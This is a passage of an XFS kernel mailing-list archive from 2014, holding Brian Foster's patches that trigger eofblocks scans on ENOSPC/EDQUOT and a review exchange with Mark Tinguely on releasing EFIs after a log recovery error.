The scan owner field represents an optional inode number that is responsible for the current scan. The purpose is to identify that an inode is under iolock and as such, the iolock shouldn't be attempted when trimming eofblocks. This is an internal only field. Signed-off-by: Brian Foster --- fs/xfs/xfs_icache.c | 12 +++++++++++- fs/xfs/xfs_icache.h | 2 ++ 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index d4e15db..bd0ab7d 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -1215,6 +1215,7 @@ xfs_inode_free_eofblocks( { int ret; struct xfs_eofblocks *eofb = args; + bool need_iolock = true; if (!xfs_can_free_eofblocks(ip, false)) { /* inode could be preallocated or append-only */ @@ -1234,6 +1235,15 @@ xfs_inode_free_eofblocks( if (eofb->eof_flags & XFS_EOF_FLAGS_FLUSH) filemap_flush(VFS_I(ip)->i_mapping); + + /* + * A scan owner implies we already hold the iolock. Skip it in + * xfs_free_eofblocks() to avoid deadlock. This also eliminates + * the possibility of EAGAIN being returned. + */ + if (eofb->eof_scan_owner != NULLFSINO && + eofb->eof_scan_owner == ip->i_ino) + need_iolock = false; } /* @@ -1244,7 +1254,7 @@ xfs_inode_free_eofblocks( mapping_tagged(VFS_I(ip)->i_mapping, PAGECACHE_TAG_DIRTY)) return 0; - ret = xfs_free_eofblocks(ip->i_mount, ip, true); + ret = xfs_free_eofblocks(ip->i_mount, ip, need_iolock); /* don't revisit the inode if we're not waiting */ if (ret == EAGAIN && !(flags & SYNC_WAIT)) diff --git a/fs/xfs/xfs_icache.h b/fs/xfs/xfs_icache.h index 9ed68bb..4387b1d 100644 --- a/fs/xfs/xfs_icache.h +++ b/fs/xfs/xfs_icache.h @@ -27,6 +27,7 @@ struct xfs_eofblocks { kgid_t eof_gid; prid_t eof_prid; __u64 eof_min_file_size; + xfs_ino_t eof_scan_owner; }; #define SYNC_WAIT 0x0001 /* wait for i/o to complete */ @@ -86,6 +87,7 @@ xfs_fs_eofblocks_from_user( dst->eof_flags = src->eof_flags; dst->eof_prid = src->eof_prid; dst->eof_min_file_size = src->eof_min_file_size; + dst->eof_scan_owner = NULLFSINO; dst->eof_uid = INVALID_UID; if (src->eof_flags & XFS_EOF_FLAGS_UID) { -- 1.8.3.1 From bfoster@redhat.com Fri Mar 28 08:16:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9872B7F6B for ; Fri, 28 Mar 2014 08:16:13 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 68FF68F804C for ; Fri, 28 Mar 2014 06:16:10 -0700 (PDT) X-ASG-Debug-ID: 1396012565-04bdf05daba58f40001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id BBfdmUctMBVNIiaS for ; Fri, 28 Mar 2014 06:16:05 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2SDG5mp029660 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 28 Mar 2014 09:16:05 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2SDG5pn003797 for ; Fri, 28 Mar 2014 09:16:05 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 24CA9123C47; Fri, 28 Mar 2014 09:16:04 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH 4/5] xfs: run an eofblocks scan on ENOSPC/EDQUOT Date: Fri, 28 Mar 2014 09:16:02 -0400 X-ASG-Orig-Subj: [PATCH 4/5] xfs: run an eofblocks scan on ENOSPC/EDQUOT Message-Id: <1396012563-60973-5-git-send-email-bfoster@redhat.com> In-Reply-To: <1396012563-60973-1-git-send-email-bfoster@redhat.com> References: <1396012563-60973-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1396012565 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Speculative preallocation and and the associated throttling metrics assume we're working with large files on large filesystems. Users have reported inefficiencies in these mechanisms when we happen to be dealing with large files on smaller filesystems. This can occur because while prealloc throttling is aggressive under low free space conditions, it is not active until we reach 5% free space or less. For example, a 40GB filesystem has enough space for several files large enough to have multi-GB preallocations at any given time. If those files are slow growing, they might reserve preallocation for long periods of time as well as avoid the background scanner due to frequent modification. If a new file is written under these conditions, said file has no access to this already reserved space and premature ENOSPC is imminent. To handle this scenario, modify the buffered write ENOSPC handling and retry sequence to invoke an eofblocks scan. The eofblocks scan is attempted prior to the inode flush as it is lighter weight and the former is a last resort to free space. In the smaller filesystem scenario, the eofblocks scan resets the usage of preallocation such that when the 5% free space threshold is met, throttling effectively takes over to provide fair and efficient preallocation until legitimate ENOSPC. The eofblocks scan is selective based on the nature of the failure. For example, an EDQUOT failure in a particular quota will use a filtered scan for that quota. Because we don't know which quota might have caused an allocation failure at any given time, we run a scan against each applicable quota determined to be under low free space conditions. Signed-off-by: Brian Foster --- fs/xfs/xfs_dquot.h | 15 ++++++++++++++ fs/xfs/xfs_file.c | 32 ++++++++++++++++++++++++++--- fs/xfs/xfs_icache.c | 59 +++++++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_icache.h | 1 + 4 files changed, 104 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_dquot.h b/fs/xfs/xfs_dquot.h index d22ed00..899b99f 100644 --- a/fs/xfs/xfs_dquot.h +++ b/fs/xfs/xfs_dquot.h @@ -141,6 +141,21 @@ static inline xfs_dquot_t *xfs_inode_dquot(struct xfs_inode *ip, int type) } } +/* + * Check whether a dquot is under low free space conditions. We assume the quota + * is enabled and enforced. + */ +static inline bool xfs_dquot_lowsp(struct xfs_dquot *dqp) +{ + int64_t freesp; + + freesp = be64_to_cpu(dqp->q_core.d_blk_hardlimit) - dqp->q_res_bcount; + if (freesp < dqp->q_low_space[XFS_QLOWSP_1_PCNT]) + return true; + + return false; +} + #define XFS_DQ_IS_LOCKED(dqp) (mutex_is_locked(&((dqp)->q_qlock))) #define XFS_DQ_IS_DIRTY(dqp) ((dqp)->dq_flags & XFS_DQ_DIRTY) #define XFS_QM_ISUDQ(dqp) ((dqp)->dq_flags & XFS_DQ_USER) diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 2e7989e..1ca16ce 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -38,6 +38,7 @@ #include "xfs_trace.h" #include "xfs_log.h" #include "xfs_dinode.h" +#include "xfs_icache.h" #include #include @@ -723,6 +724,7 @@ xfs_file_buffered_aio_write( struct xfs_inode *ip = XFS_I(inode); ssize_t ret; int enospc = 0; + int scanned = 0; int iolock = XFS_IOLOCK_EXCL; size_t count = ocount; @@ -741,10 +743,34 @@ write_retry: pos, &iocb->ki_pos, count, 0); /* - * If we just got an ENOSPC, try to write back all dirty inodes to - * convert delalloc space to free up some of the excess reserved - * metadata space. + * If we hit ENOSPC or a quota limit, use the selective nature of the + * eofblocks scan to try and free up some lingering speculative + * preallocation delalloc blocks. + * + * If we hit a quota limit, only scan for files covered by the quota. We + * also consider ENOSPC here because project quota failure can return + * ENOSPC instead of EDQUOT. The quota scanning only sets 'scanned' if + * the inode is covered by a quota with low free space. This should + * minimize interference with global ENOSPC handling. + * + * If a scan does not free enough space, resort to the inode flush big + * hammer to convert delalloc space to free up some of the excess + * reserved metadata space. */ + if ((ret == -EDQUOT || ret == -ENOSPC) && !scanned) { + scanned = xfs_inode_free_quota_eofblocks(ip); + if (scanned) + goto write_retry; + } + if (ret == -ENOSPC && !scanned) { + struct xfs_eofblocks eofb = {0,}; + + eofb.eof_scan_owner = ip->i_ino; /* for locking */ + eofb.eof_flags = XFS_EOF_FLAGS_SYNC | XFS_EOF_FLAGS_FLUSH; + xfs_icache_free_eofblocks(ip->i_mount, &eofb); + scanned = 1; + goto write_retry; + } if (ret == -ENOSPC && !enospc) { enospc = 1; xfs_flush_inodes(ip->i_mount); diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index bd0ab7d..471ccfa 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -33,6 +33,9 @@ #include "xfs_trace.h" #include "xfs_icache.h" #include "xfs_bmap_util.h" +#include "xfs_quota.h" +#include "xfs_dquot_item.h" +#include "xfs_dquot.h" #include #include @@ -1277,6 +1280,62 @@ xfs_icache_free_eofblocks( eofb, XFS_ICI_EOFBLOCKS_TAG); } +/* + * Run eofblocks scans on the quotas applicable to the inode. For inodes with + * multiple quotas, we don't know exactly which quota caused an allocation + * failure. We make a best effort by running scans for each quota considered + * to be under low free space conditions (less than 1% available free space). + */ +int +xfs_inode_free_quota_eofblocks( + struct xfs_inode *ip) +{ + int scanned = 0; + struct xfs_eofblocks eofb = {0,}; + struct xfs_dquot *dq; + + ASSERT(xfs_isilocked(ip, XFS_IOLOCK_EXCL)); + + /* set the scan owner to avoid potential livelock */ + eofb.eof_scan_owner = ip->i_ino; + + if (XFS_IS_UQUOTA_ENFORCED(ip->i_mount)) { + dq = xfs_inode_dquot(ip, XFS_DQ_USER); + if (dq && xfs_dquot_lowsp(dq)) { + eofb.eof_uid = VFS_I(ip)->i_uid; + eofb.eof_flags = XFS_EOF_FLAGS_SYNC| + XFS_EOF_FLAGS_UID; + xfs_icache_free_eofblocks(ip->i_mount, &eofb); + scanned = 1; + } + } + + if (XFS_IS_GQUOTA_ENFORCED(ip->i_mount)) { + dq = xfs_inode_dquot(ip, XFS_DQ_GROUP); + if (dq && xfs_dquot_lowsp(dq)) { + eofb.eof_gid = VFS_I(ip)->i_gid; + eofb.eof_flags = XFS_EOF_FLAGS_SYNC| + XFS_EOF_FLAGS_GID; + xfs_icache_free_eofblocks(ip->i_mount, &eofb); + scanned = 1; + } + } + + if (XFS_IS_PQUOTA_ENFORCED(ip->i_mount)) { + dq = xfs_inode_dquot(ip, XFS_DQ_PROJ); + if (dq && xfs_dquot_lowsp(dq)) { + eofb.eof_prid = xfs_get_projid(ip); + eofb.eof_flags = XFS_EOF_FLAGS_SYNC| + XFS_EOF_FLAGS_PRID| + XFS_EOF_FLAGS_FLUSH; + xfs_icache_free_eofblocks(ip->i_mount, &eofb); + scanned = 1; + } + } + + return scanned; +} + void xfs_inode_set_eofblocks_tag( xfs_inode_t *ip) diff --git a/fs/xfs/xfs_icache.h b/fs/xfs/xfs_icache.h index 4387b1d..23aa163 100644 --- a/fs/xfs/xfs_icache.h +++ b/fs/xfs/xfs_icache.h @@ -58,6 +58,7 @@ void xfs_inode_set_reclaim_tag(struct xfs_inode *ip); void xfs_inode_set_eofblocks_tag(struct xfs_inode *ip); void xfs_inode_clear_eofblocks_tag(struct xfs_inode *ip); int xfs_icache_free_eofblocks(struct xfs_mount *, struct xfs_eofblocks *); +int xfs_inode_free_quota_eofblocks(struct xfs_inode *ip); void xfs_eofblocks_worker(struct work_struct *); int xfs_inode_ag_iterator(struct xfs_mount *mp, -- 1.8.3.1 From bfoster@redhat.com Fri Mar 28 10:24:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 10B007F5A for ; Fri, 28 Mar 2014 10:24:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7E272AC001 for ; Fri, 28 Mar 2014 08:24:42 -0700 (PDT) X-ASG-Debug-ID: 1396020278-04cbb054b985f010001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 1Q0Mbi0q6muRa3sT; Fri, 28 Mar 2014 08:24:38 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2SFOb9x027020 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Mar 2014 11:24:37 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2SFObaK031542; Fri, 28 Mar 2014 11:24:37 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id D9FDD123C1C; Fri, 28 Mar 2014 11:24:35 -0400 (EDT) Date: Fri, 28 Mar 2014 11:24:35 -0400 From: Brian Foster To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: remove efi from AIL in log recovery error Message-ID: <20140328152434.GB21961@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: remove efi from AIL in log recovery error References: <20140325195733.510384972@sgi.com> <20140325195819.638326569@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140325195819.638326569@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1396020278 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Mar 25, 2014 at 03:06:34PM -0500, Mark Tinguely wrote: > xlog_recover_process_efi{s}() functions are completing the > second half of xfs_bmap_finish() which frees extents. If this > operation fails, the EFI will stay on the AIL and prevents > the xfs_ail_push all_sync() from completing and the mount will > fail to unmount. > > Rather than have a special log recovery flag XFS_EFI_RECOVERED > to decrement the EFI/EFD counter, call the same decrement function > from the log recovery routine that is called then the EFI is added > to the AIL from a log write. > > Remove all other unprocessed EFIs from the log recovery AIL > when one is discovered in error. > > Signed-off-by: Mark Tinguely > --- > Rewritten with suggestions from Dave. > Note: calling xfs_efi_item_unpin() seemed more explainatory than calling > the helper __xfs_efi_release(). > > fs/xfs/xfs_extfree_item.c | 9 +++------ > fs/xfs/xfs_log_recover.c | 28 +++++++++++++++------------- > fs/xfs/xfs_trans.h | 1 + > 3 files changed, 19 insertions(+), 19 deletions(-) > > Index: b/fs/xfs/xfs_extfree_item.c > =================================================================== > --- a/fs/xfs/xfs_extfree_item.c > +++ b/fs/xfs/xfs_extfree_item.c > @@ -134,9 +134,10 @@ xfs_efi_item_pin( > * remove the EFI it's because the transaction has been canceled and by > * definition that means the EFI cannot be in the AIL so remove it from the > * transaction and free it. Otherwise coordinate with xfs_efi_release() > - * to determine who gets to free the EFI. > + * to determine who gets to free the EFI. Call from log recovery of EFI > + * entries so the EFD or error handling will remove the entry. > */ > -STATIC void > +void > xfs_efi_item_unpin( > struct xfs_log_item *lip, > int remove) > @@ -313,10 +314,6 @@ xfs_efi_release(xfs_efi_log_item_t *efip > { > ASSERT(atomic_read(&efip->efi_next_extent) >= nextents); > if (atomic_sub_and_test(nextents, &efip->efi_next_extent)) { > - /* recovery needs us to drop the EFI reference, too */ > - if (test_bit(XFS_EFI_RECOVERED, &efip->efi_flags)) > - __xfs_efi_release(efip); > - > __xfs_efi_release(efip); > /* efip may now have been freed, do not reference it again. */ > } > Index: b/fs/xfs/xfs_log_recover.c > =================================================================== > --- a/fs/xfs/xfs_log_recover.c > +++ b/fs/xfs/xfs_log_recover.c > @@ -3634,6 +3634,7 @@ xlog_recover_process_data( > /* > * Process an extent free intent item that was recovered from > * the log. We need to free the extents that it describes. > + * The caller will release this and any following EFIs upon error. > */ > STATIC int > xlog_recover_process_efi( > @@ -3648,6 +3649,13 @@ xlog_recover_process_efi( > xfs_fsblock_t startblock_fsb; > > ASSERT(!test_bit(XFS_EFI_RECOVERED, &efip->efi_flags)); > + set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); > + > + /* > + * Decrement the EFI/EFD counter so the EFI is removed after > + * processing the EFD or error handling in the caller. > + */ > + xfs_efi_item_unpin(&efip->efi_item, 0); > > /* > * First check the validity of the extents described by the > @@ -3662,12 +3670,6 @@ xlog_recover_process_efi( > (extp->ext_len == 0) || > (startblock_fsb >= mp->m_sb.sb_dblocks) || > (extp->ext_len >= mp->m_sb.sb_agblocks)) { > - /* > - * This will pull the EFI from the AIL and > - * free the memory associated with it. > - */ > - set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); > - xfs_efi_release(efip, efip->efi_format.efi_nextents); > return XFS_ERROR(EIO); > } > } > @@ -3687,7 +3689,6 @@ xlog_recover_process_efi( > extp->ext_len); > } > > - set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); > error = xfs_trans_commit(tp, 0); > return error; > > @@ -3718,8 +3719,8 @@ STATIC int > xlog_recover_process_efis( > struct xlog *log) > { > - xfs_log_item_t *lip; > - xfs_efi_log_item_t *efip; > + struct xfs_log_item *lip; > + struct xfs_efi_log_item *efip; > int error = 0; > struct xfs_ail_cursor cur; > struct xfs_ail *ailp; > @@ -3750,13 +3751,14 @@ xlog_recover_process_efis( > } > > spin_unlock(&ailp->xa_lock); > - error = xlog_recover_process_efi(log->l_mp, efip); > - spin_lock(&ailp->xa_lock); > + /* Skip all EFIs after first EFI in error. */ > + if (!error) > + error = xlog_recover_process_efi(log->l_mp, efip); > if (error) > - goto out; > + xfs_efi_release(efip, efip->efi_format.efi_nextents); Hi Mark, If we hit the scenario where we start skipping EFIs after an error, is the equivalent unpin() call from process_efi() not necessary on the subsequent EFIs? Brian > + spin_lock(&ailp->xa_lock); > lip = xfs_trans_ail_cursor_next(ailp, &cur); > } > -out: > xfs_trans_ail_cursor_done(ailp, &cur); > spin_unlock(&ailp->xa_lock); > return error; > Index: b/fs/xfs/xfs_trans.h > =================================================================== > --- a/fs/xfs/xfs_trans.h > +++ b/fs/xfs/xfs_trans.h > @@ -216,6 +216,7 @@ void xfs_trans_ijoin(struct xfs_trans * > void xfs_trans_log_buf(xfs_trans_t *, struct xfs_buf *, uint, uint); > void xfs_trans_log_inode(xfs_trans_t *, struct xfs_inode *, uint); > struct xfs_efi_log_item *xfs_trans_get_efi(xfs_trans_t *, uint); > +void xfs_efi_item_unpin(struct xfs_log_item *, int); > void xfs_efi_release(struct xfs_efi_log_item *, uint); > void xfs_trans_log_efi_extent(xfs_trans_t *, > struct xfs_efi_log_item *, > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From tinguely@sgi.com Fri Mar 28 10:41:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A14FB7F4E for ; Fri, 28 Mar 2014 10:41:07 -0500 (CDT) Received: from eagdhcp-232-178.americas.sgi.com (eagdhcp-232-178.americas.sgi.com [128.162.232.178]) by relay2.corp.sgi.com (Postfix) with ESMTP id 68112304066; Fri, 28 Mar 2014 08:41:07 -0700 (PDT) Message-ID: <53359812.3090806@sgi.com> Date: Fri, 28 Mar 2014 10:41:06 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Brian Foster CC: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: remove efi from AIL in log recovery error References: <20140325195733.510384972@sgi.com> <20140325195819.638326569@sgi.com> <20140328152434.GB21961@bfoster.bfoster> In-Reply-To: <20140328152434.GB21961@bfoster.bfoster> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 03/28/14 10:24, Brian Foster wrote: > On Tue, Mar 25, 2014 at 03:06:34PM -0500, Mark Tinguely wrote: >> xlog_recover_process_efi{s}() functions are completing the >> second half of xfs_bmap_finish() which frees extents. If this >> operation fails, the EFI will stay on the AIL and prevents >> the xfs_ail_push all_sync() from completing and the mount will >> fail to unmount. >> >> Rather than have a special log recovery flag XFS_EFI_RECOVERED >> to decrement the EFI/EFD counter, call the same decrement function >> from the log recovery routine that is called then the EFI is added >> to the AIL from a log write. >> >> Remove all other unprocessed EFIs from the log recovery AIL >> when one is discovered in error. >> >> Signed-off-by: Mark Tinguely >> --- >> Rewritten with suggestions from Dave. >> Note: calling xfs_efi_item_unpin() seemed more explainatory than calling >> the helper __xfs_efi_release(). >> >> fs/xfs/xfs_extfree_item.c | 9 +++------ >> fs/xfs/xfs_log_recover.c | 28 +++++++++++++++------------- >> fs/xfs/xfs_trans.h | 1 + >> 3 files changed, 19 insertions(+), 19 deletions(-) >> >> Index: b/fs/xfs/xfs_extfree_item.c >> =================================================================== >> --- a/fs/xfs/xfs_extfree_item.c >> +++ b/fs/xfs/xfs_extfree_item.c >> @@ -134,9 +134,10 @@ xfs_efi_item_pin( >> * remove the EFI it's because the transaction has been canceled and by >> * definition that means the EFI cannot be in the AIL so remove it from the >> * transaction and free it. Otherwise coordinate with xfs_efi_release() >> - * to determine who gets to free the EFI. >> + * to determine who gets to free the EFI. Call from log recovery of EFI >> + * entries so the EFD or error handling will remove the entry. >> */ >> -STATIC void >> +void >> xfs_efi_item_unpin( >> struct xfs_log_item *lip, >> int remove) >> @@ -313,10 +314,6 @@ xfs_efi_release(xfs_efi_log_item_t *efip >> { >> ASSERT(atomic_read(&efip->efi_next_extent)>= nextents); >> if (atomic_sub_and_test(nextents,&efip->efi_next_extent)) { >> - /* recovery needs us to drop the EFI reference, too */ >> - if (test_bit(XFS_EFI_RECOVERED,&efip->efi_flags)) >> - __xfs_efi_release(efip); >> - >> __xfs_efi_release(efip); >> /* efip may now have been freed, do not reference it again. */ >> } >> Index: b/fs/xfs/xfs_log_recover.c >> =================================================================== >> --- a/fs/xfs/xfs_log_recover.c >> +++ b/fs/xfs/xfs_log_recover.c >> @@ -3634,6 +3634,7 @@ xlog_recover_process_data( >> /* >> * Process an extent free intent item that was recovered from >> * the log. We need to free the extents that it describes. >> + * The caller will release this and any following EFIs upon error. >> */ >> STATIC int >> xlog_recover_process_efi( >> @@ -3648,6 +3649,13 @@ xlog_recover_process_efi( >> xfs_fsblock_t startblock_fsb; >> >> ASSERT(!test_bit(XFS_EFI_RECOVERED,&efip->efi_flags)); >> + set_bit(XFS_EFI_RECOVERED,&efip->efi_flags); >> + >> + /* >> + * Decrement the EFI/EFD counter so the EFI is removed after >> + * processing the EFD or error handling in the caller. >> + */ >> + xfs_efi_item_unpin(&efip->efi_item, 0); >> >> /* >> * First check the validity of the extents described by the >> @@ -3662,12 +3670,6 @@ xlog_recover_process_efi( >> (extp->ext_len == 0) || >> (startblock_fsb>= mp->m_sb.sb_dblocks) || >> (extp->ext_len>= mp->m_sb.sb_agblocks)) { >> - /* >> - * This will pull the EFI from the AIL and >> - * free the memory associated with it. >> - */ >> - set_bit(XFS_EFI_RECOVERED,&efip->efi_flags); >> - xfs_efi_release(efip, efip->efi_format.efi_nextents); >> return XFS_ERROR(EIO); >> } >> } >> @@ -3687,7 +3689,6 @@ xlog_recover_process_efi( >> extp->ext_len); >> } >> >> - set_bit(XFS_EFI_RECOVERED,&efip->efi_flags); >> error = xfs_trans_commit(tp, 0); >> return error; >> >> @@ -3718,8 +3719,8 @@ STATIC int >> xlog_recover_process_efis( >> struct xlog *log) >> { >> - xfs_log_item_t *lip; >> - xfs_efi_log_item_t *efip; >> + struct xfs_log_item *lip; >> + struct xfs_efi_log_item *efip; >> int error = 0; >> struct xfs_ail_cursor cur; >> struct xfs_ail *ailp; >> @@ -3750,13 +3751,14 @@ xlog_recover_process_efis( >> } >> >> spin_unlock(&ailp->xa_lock); >> - error = xlog_recover_process_efi(log->l_mp, efip); >> - spin_lock(&ailp->xa_lock); >> + /* Skip all EFIs after first EFI in error. */ >> + if (!error) >> + error = xlog_recover_process_efi(log->l_mp, efip); >> if (error) >> - goto out; >> + xfs_efi_release(efip, efip->efi_format.efi_nextents); > > Hi Mark, > > If we hit the scenario where we start skipping EFIs after an error, is > the equivalent unpin() call from process_efi() not necessary on the > subsequent EFIs? > > Brian yes, good catch. They will have to be decremented twice. something like: + if (!error) + error = xlog_recover_process_efi(log->l_mp, efip); + else + xfs_efi_item_unpin(&efip->efi_item, 0); + if (error) ... --Mark From bfoster@redhat.com Fri Mar 28 11:07:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D8C8D7F61 for ; Fri, 28 Mar 2014 11:07:34 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B76048F8073 for ; Fri, 28 Mar 2014 09:07:31 -0700 (PDT) X-ASG-Debug-ID: 1396022841-04cbb054b6864090001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 0PF1mJoUuqdbAKYW; Fri, 28 Mar 2014 09:07:21 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2SG7LTO007878 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Mar 2014 12:07:21 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2SG7K7p019836; Fri, 28 Mar 2014 12:07:20 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 9BE18123C1C; Fri, 28 Mar 2014 12:07:19 -0400 (EDT) Date: Fri, 28 Mar 2014 12:07:19 -0400 From: Brian Foster To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: remove efi from AIL in log recovery error Message-ID: <20140328160719.GA15537@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: remove efi from AIL in log recovery error References: <20140325195733.510384972@sgi.com> <20140325195819.638326569@sgi.com> <20140328152434.GB21961@bfoster.bfoster> <53359812.3090806@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53359812.3090806@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1396022841 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Mar 28, 2014 at 10:41:06AM -0500, Mark Tinguely wrote: > On 03/28/14 10:24, Brian Foster wrote: > >On Tue, Mar 25, 2014 at 03:06:34PM -0500, Mark Tinguely wrote: > >>xlog_recover_process_efi{s}() functions are completing the > >>second half of xfs_bmap_finish() which frees extents. If this > >>operation fails, the EFI will stay on the AIL and prevents > >>the xfs_ail_push all_sync() from completing and the mount will > >>fail to unmount. > >> > >>Rather than have a special log recovery flag XFS_EFI_RECOVERED > >>to decrement the EFI/EFD counter, call the same decrement function > >>from the log recovery routine that is called then the EFI is added > >>to the AIL from a log write. > >> > >>Remove all other unprocessed EFIs from the log recovery AIL > >>when one is discovered in error. > >> > >>Signed-off-by: Mark Tinguely > >>--- > >>Rewritten with suggestions from Dave. > >>Note: calling xfs_efi_item_unpin() seemed more explainatory than calling > >> the helper __xfs_efi_release(). > >> > >> fs/xfs/xfs_extfree_item.c | 9 +++------ > >> fs/xfs/xfs_log_recover.c | 28 +++++++++++++++------------- > >> fs/xfs/xfs_trans.h | 1 + > >> 3 files changed, 19 insertions(+), 19 deletions(-) > >> > >>Index: b/fs/xfs/xfs_extfree_item.c > >>=================================================================== > >>--- 